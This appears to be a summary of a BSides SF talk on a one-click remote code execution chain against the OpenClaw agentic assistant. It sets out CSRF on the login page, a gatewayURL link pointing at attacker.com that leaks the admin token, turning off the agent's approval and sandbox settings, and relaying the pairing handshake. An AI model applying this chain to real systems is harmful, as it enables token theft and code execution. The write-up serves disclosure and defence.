From Assistant to Assassin: Weaponizing An OpenClaw Vulnerability to Achieve 1-Click RCE

From Assistant to Assassin: Weaponizing An OpenClaw Vulnerability to Achieve 1-Click RCE

Speakers: Mav Levin

Conference: BSides SF

YouTube: https://www.youtube.com/watch?v=AEoO-KkUL_c

Overview

In this compelling talk at BSides SF, security researcher Mav Levin unveiled a critical one-click Remote Code Execution (RCE) vulnerability within OpenClaw, a popular agentic assistant. Levin meticulously demonstrated how a chain of three seemingly benign features, when combined, could be weaponized to exfiltrate an administrator's authentication token and subsequently achieve full RCE, even bypassing OpenClaw's most secure configurations and multiple layered defenses.

The presentation highlighted a significant gap in the security posture of emerging agentic systems. While operating systems and browsers have decades of security development, agentic platforms like OpenClaw are still in their infancy regarding robust, defense-in-depth security architectures. Levin used OpenClaw as a case study to illustrate how a lack of mature mitigations can lead to catastrophic exploitation, transforming an "assistant" into an "assassin" with a single click.

This talk is crucial for anyone involved in the development, deployment, or security of agentic AI systems. It provides a stark reminder that the abstraction of operating system interactions by these agents necessitates a fresh look at security boundaries, authentication mechanisms, and the placement of protective controls, especially as these systems gain widespread access to sensitive data and critical infrastructure.

Background

▶ Watch: Introduction: Weaponizing OpenClaw for 1-click RCE (0:30)

The rise of agentic systems like OpenClaw marks a paradigm shift in how users interact with technology and automate complex workflows. OpenClaw, boasting over 300,000 GitHub stars and recently acquired by OpenAI, exemplifies this trend. It acts as a central hub, connecting to a myriad of services—email, Slack, WhatsApp, browsers, financial systems, databases, and production environments—through its extensive "skills" framework. This capability transforms multi-step, manual processes (like requesting a refund) into simple, natural language prompts, ushering in an era where "work happens" within these AI agents.

However, this immense power and broad access also introduce novel security challenges. Traditional security models, honed over decades for operating systems and browsers, focused on securing productivity by establishing robust security boundaries and deep mitigations against single-point failures. These include techniques like Address Space Layout Randomization (ASLR), Data Execution Prevention (DEP), sandboxing, and sophisticated Same-Origin Policy (SOP) implementations. While effective for their domains, these mitigations often don't directly translate or adequately protect the unique attack surface presented by agentic systems.

The core problem, as Levin articulated, is that security for agentic systems "hasn't caught up yet." These platforms abstract away the underlying operating system, but they inherit all its potential for misuse if not properly secured. The goal of security professionals is to secure productivity, and with agentic systems now driving that productivity, securing them becomes paramount. Without mature defenses, a seemingly minor vulnerability can be chained with other features to completely compromise the system, as demonstrated by the OpenClaw case study.

Key Findings

▶ Watch: OpenClaw: A popular agentic assistant case study (3:45)

Mav Levin's presentation revealed a critical vulnerability in OpenClaw that allowed for one-click Remote Code Execution (RCE). The core finding was that three individually benign features, when chained together, created a severe security weakness:

1. CSRF vulnerability on the / endpoint: The / endpoint, which serves the static login page, did not require an authentication token. While seemingly innocuous as it only loads static files and client-side JavaScript, this lack of authentication made it vulnerable to Cross-Site Request Forgery (CSRF). An attacker could trick a user into visiting a specially crafted URL that targets this endpoint.

1. Gateway URL parameter for backend connection: OpenClaw featured an applySettingsFromURL function that allowed the backend server's gateway URL to be specified directly within the URL parameters. This legitimate debugging and multi-instance connection feature meant that a client could be directed to connect to any OpenClaw instance, including one controlled by an attacker.

1. Automatic authentication token transmission on connect: Upon connecting to a gateway, OpenClaw's client-side JavaScript automatically sent the user's authentication token in the connection parameters. This token, crucial for authenticating all subsequent actions, was transmitted to whatever gateway the client was configured to connect to.

The combination of these three features created a devastating attack chain: A victim clicks a malicious link crafted by an attacker. This link points to the vulnerable / endpoint of the victim's OpenClaw instance, simultaneously setting the gatewayURL parameter to the attacker's server. Because the / endpoint is CSRF-vulnerable, the browser loads the static page, which then executes JavaScript. This JavaScript automatically connects to the attacker-controlled gateway, inadvertently sending the victim's administrator authentication token to the attacker. With this token, the attacker gains full administrative control over the victim's OpenClaw instance, enabling arbitrary actions, including RCE.

Technical Deep Dive

▶ Watch: Understanding OpenClaw's authentication mechanisms (5:00)

The technical deep dive into the OpenClaw vulnerability exposed a sophisticated chain of events, leveraging seemingly harmless design choices to achieve a high-impact compromise.

The Vulnerability Chain:

1. CSRF on / Endpoint:

• OpenClaw's HTTP API included various endpoints, most of which required an authentication token stored in session storage. This token inherently provided CSRF protection, as browsers do not implicitly send session storage items with cross-origin requests.
• However, the / endpoint, designed as the login page, did not require this token. As Levin explained, it's logical not to require authentication for a login page.
• Crucially, this endpoint served a fully static site containing HTML, CSS, and client-side JavaScript. While static, the JavaScript executed immediately upon page load. The absence of an authentication token requirement meant an attacker could initiate a request to this endpoint from another origin via a simple malicious link, making it CSRF-vulnerable.

1. Gateway URL Parameter:

• Within the client-side JavaScript loaded by the / endpoint, the applySettingsFromURL function was invoked. This function allowed the gatewayURL (the backend server OpenClaw connects to) to be directly extracted from the URL's query parameters.
• For example, https://localhost:8080/?gatewayURL=http://attacker.com:8081 would instruct the OpenClaw client to connect to the attacker's server. This feature was intended for legitimate purposes like debugging or connecting to different OpenClaw instances.

1. Automatic Auth Token Transmission:

• Following the applySettingsFromURL call, the handleConnected function, specifically connectGateway, would initiate a connection to the configured gateway.
• During this connection phase, the client-side JavaScript would automatically send the user's authentication token (retrieved from session storage) as part of the connection parameters. This token was typically sent in the parameters and hello messages of the websocket protocol.
• Independently, sending an authentication token to a trusted server is standard practice. The problem arose when the trusted client was tricked into sending it to an untrusted server.

The Exploit Flow (Authentication Token Exfiltration):

1. Victim Interaction: An attacker crafts a malicious link, e.g., https://victim-openclaw.com/?gatewayURL=http://attacker.com:8081.
2. CSRF Request: The victim clicks this link, causing their browser to make a request to their local OpenClaw instance's / endpoint.
3. JavaScript Execution: The static page loads, and its JavaScript executes. The applySettingsFromURL function parses the gatewayURL from the malicious link, setting the backend to the attacker's server.
4. Token Exfiltration: The connectGateway function then initiates a connection to the attacker's server, automatically transmitting the victim's administrator authentication token.
5. Attacker Control: The attacker's server receives the token, gaining full administrative access to the victim's OpenClaw instance.

Bypassing Localhost and Firewalls:

A common initial thought is that OpenClaw often runs on localhost behind a firewall, limiting external attackers. However, Levin demonstrated a clever bypass:

• Local Exploit: The attack can be executed entirely on the victim's machine. The attacker hosts evilsite.com. When the victim visits evilsite.com, its JavaScript runs within the victim's browser, effectively "inside the gated community" of localhost.
• Two Background Windows: evilsite.com spawns two hidden browser windows:

1. The first window loads the malicious https://localhost:8080/?gatewayURL=http://attacker.com:8081 link, performing the authentication token exfiltration as described above.
2. The second window (after a short delay) directly interfaces with the victim's OpenClaw instance on localhost:8080.

• Websocket SOP Bypass (Historical): This part relied on a historical weakness in Chrome's Same-Origin Policy (SOP) implementation for WebSockets. Prior to a fix, WebSockets did not strictly enforce SOP, meaning any webpage could initiate a WebSocket connection to any other domain/port. It was the server's responsibility to check the Origin header and block unauthorized connections. This allowed the second background window, now armed with the exfiltrated authentication token (communicated back from the attacker's server to evilsite.com and then to the second window), to directly interact with the locally running OpenClaw.

Defense Bypasses:

Levin further demonstrated how this exploit bypassed multiple OpenClaw security mitigations:

1. User Approvals: OpenClaw had a feature requiring user approval for potentially dangerous commands (e.g., curl | bash). This was designed to prevent malicious LLMs from executing rogue commands from within OpenClaw. However, since the attacker gains full administrative control from outside, they can simply use the WebSocket API to disable all execution approval requests (agent.patchConfig({executionApproval: false})), rendering this defense useless.

1. Sandboxing Policy: OpenClaw offered a sandboxing policy to restrict command execution (e.g., "block everything"). Similar to user approvals, this was intended to contain malicious activity originating within the agent. The attacker, possessing the admin token, could again use the WebSocket API to patch the configuration and disable the sandbox (agent.patchConfig({sandbox: false})).

1. Pairing Mode: This was presented as a robust security feature, providing cryptographically secure pairing keys for clients. The server would enforce that only allowed keys could connect via a challenge-response protocol. The flaw, however, was that the key was per client, not per client-to-gateway. This meant a client used the same key for all gateways.

• Man-in-the-Middle (MitM) Attack: When the victim's OpenClaw client connected to the attacker's malicious gateway, it would still attempt the challenge-response handshake using its valid pairing key.
• The attacker's server could then act as a proxy, forwarding the client's challenge to the legitimate OpenClaw server, receiving the response, and relaying it back to the client. This effectively allowed the attacker to man-in-the-middle the pairing handshake, establishing a fully authenticated session with the legitimate OpenClaw instance while observing and controlling all traffic.

By chaining these features and bypassing these defenses, Levin demonstrated a complete compromise, moving from a single malicious click to full RCE on the victim's system.

Demo / Proof of Concept

▶ Watch: Vulnerability: Unauthenticated '/' endpoint and CSRF (7:40)

Mav Levin concluded his talk with a live demonstration of the one-click RCE vulnerability, which proved to be both effective and visually impactful. The setup involved creating a local, vulnerable OpenClaw instance on the host machine, configured with all the defenses discussed (sandboxing, user approvals, and the "most secure" pairing mode) enabled by default. This ensured the demonstration wasn't against a weakly configured system but rather against OpenClaw's intended secure state.

To make the exploit user-friendly and clear, Levin mentioned using Large Language Models (LLMs) to help design a visually appealing trigger site. The demonstration began by showing that no calculator application was running on the host. The core of the demo involved the speaker clicking a specially crafted link on the attacker-controlled webpage.

Upon clicking the trigger, a series of messages rapidly filled the screen, indicating the quick execution of the exploit chain. The critical outcome, confirming the Remote Code Execution, was the instantaneous appearance of the Windows Calculator application (presumably calc.exe) popping up on the victim's screen. This visually confirmed that the attacker, through a single click, had gained the ability to execute arbitrary commands on the victim's machine, despite the layered defenses that were supposedly in place. The demo successfully showcased the full impact of chaining the benign features and bypassing the security mechanisms, solidifying the talk's central message about the inherent risks in agentic systems without mature security postures.

Defensive Implications

▶ Watch: Leveraging gatewayURL parameter for server redirection (8:20)

The OpenClaw vulnerability and its comprehensive exploit chain offer critical lessons for developers and security professionals working with agentic systems. The defensive implications extend beyond patching this specific bug to rethinking the fundamental security architecture of these increasingly powerful platforms.

1. Strengthen Authentication Layer: The most crucial takeaway is the need for an exceptionally robust authentication layer. As Levin noted, if even one component of the authentication mechanism were truly secure, the entire exploit could have been prevented. Specifically:

• Unique Gateway Keys: The pairing mode failed because the key was per client, not per client-to-gateway. Future designs should enforce unique, cryptographically secure keys for each client-to-gateway connection, preventing man-in-the-middle attacks where an attacker can simply proxy the handshake.
• Origin Validation: Servers (especially WebSocket servers) must rigorously validate the Origin header to ensure connections only come from expected, trusted domains. Relying solely on client-side authentication tokens is insufficient.
• CSRF Protection for All Endpoints: Even seemingly "static" or "login" endpoints should employ CSRF tokens or other strong defenses if they initiate client-side actions that can be abused. The assumption that a static page is harmless proved fatal here.
• JWT Implementation: For systems using JSON Web Tokens (JWTs), ensure they are implemented correctly with proper signing, scope, and access permissioning. The token itself should not be easily exfiltrated, and its scope should be limited to prevent privilege escalation if compromised.

1. Rethink Defense Placement: The talk highlighted a significant misalignment between defense mechanisms and the actual attack vectors. User approvals and sandboxing were designed to mitigate risks from within the agent (e.g., a rogue LLM). They were completely ineffective against an external attacker who gains administrative control over the agent itself.

• "Agent-as-OS" Security Model: Security for agentic systems needs to adopt an "agent-as-OS" mindset. Just as an operating system protects itself from external compromise before application-level security comes into play, agentic systems must secure their core integrity and authentication mechanisms as a foundational layer.
• Input Validation and Sanitization: All input, especially from URLs or external sources, must be rigorously validated and sanitized to prevent unexpected configuration changes or command injections.

1. Proactive Vulnerability Chaining Analysis: Developers should actively engage in vulnerability chaining analysis during the design and development phases. As Levin demonstrated, individually benign features can become dangerous when combined. This requires a holistic view of the system, identifying how different components interact and what unintended consequences might arise.

• "So What?" Mentality: Adopt a "so what?" mindset for every potential weakness. If a specific feature seems harmless, push further to understand how it could be abused in conjunction with other features.
• Threat Modeling: Conduct thorough threat modeling exercises specifically for agentic workflows, considering how an attacker might manipulate the agent's environment or its perception of trusted sources.

1. Security vs. Productivity Trade-off: While security often comes with a performance or development cost, the catastrophic impact of RCE underscores that this trade-off must be carefully managed. Prioritizing fundamental security for agentic systems that handle sensitive data and control critical functions is non-negotiable.

1. Maturity of Agentic System Security: Acknowledge that agentic systems are still in an early stage of security maturity. This means expecting more vulnerabilities and investing heavily in research, development, and proactive security measures, rather than assuming existing OS or browser security models will suffice.

By addressing these points, organizations can begin to build more resilient and secure agentic systems, moving away from a reactive patching cycle towards a proactive, defense-in-depth posture that truly protects against sophisticated attacks.

Key Takeaways

• Chaining Benign Features: Three seemingly harmless features (CSRF on /, gateway URL in parameters, auto-sending auth token) can be chained for devastating one-click RCE.
• Agentic System Security Gap: Emerging agentic systems lack the mature, defense-in-depth security mitigations seen in operating systems and browsers, making them vulnerable to novel attack vectors.
• Defense Misplacement: OpenClaw's internal defenses (user approvals, sandboxing) were designed to protect against rogue LLMs but were ineffective against external administrative compromise.
• Flawed Pairing Mode: The pairing mode failed due to a "per client, not per client-to-gateway" key design, enabling a Man-in-the-Middle attack to bypass cryptographic authentication.
• Localhost Bypass: Attackers can bypass local firewalls by running an exploit entirely on the victim's machine, leveraging historical WebSocket SOP weaknesses to interact with locally running services.
• Authentication is Paramount: Robust, multi-layered authentication and strict origin validation are critical foundations for agentic systems, especially those with broad access and administrative control.

About the Speaker(s)

Mav Levin is a security researcher with a deep passion for hacking, which he has pursued since the age of 13. He grew up watching BSides talks, making his presentation at BSides SF a significant milestone. His professional background includes serving in Unit 8200 (a prominent intelligence unit in the Israel Defense Forces), studying at Stanford University, and working at Anthropic. Currently, Mav is focused on both building and hacking, indicating a hands-on approach to understanding and securing technology.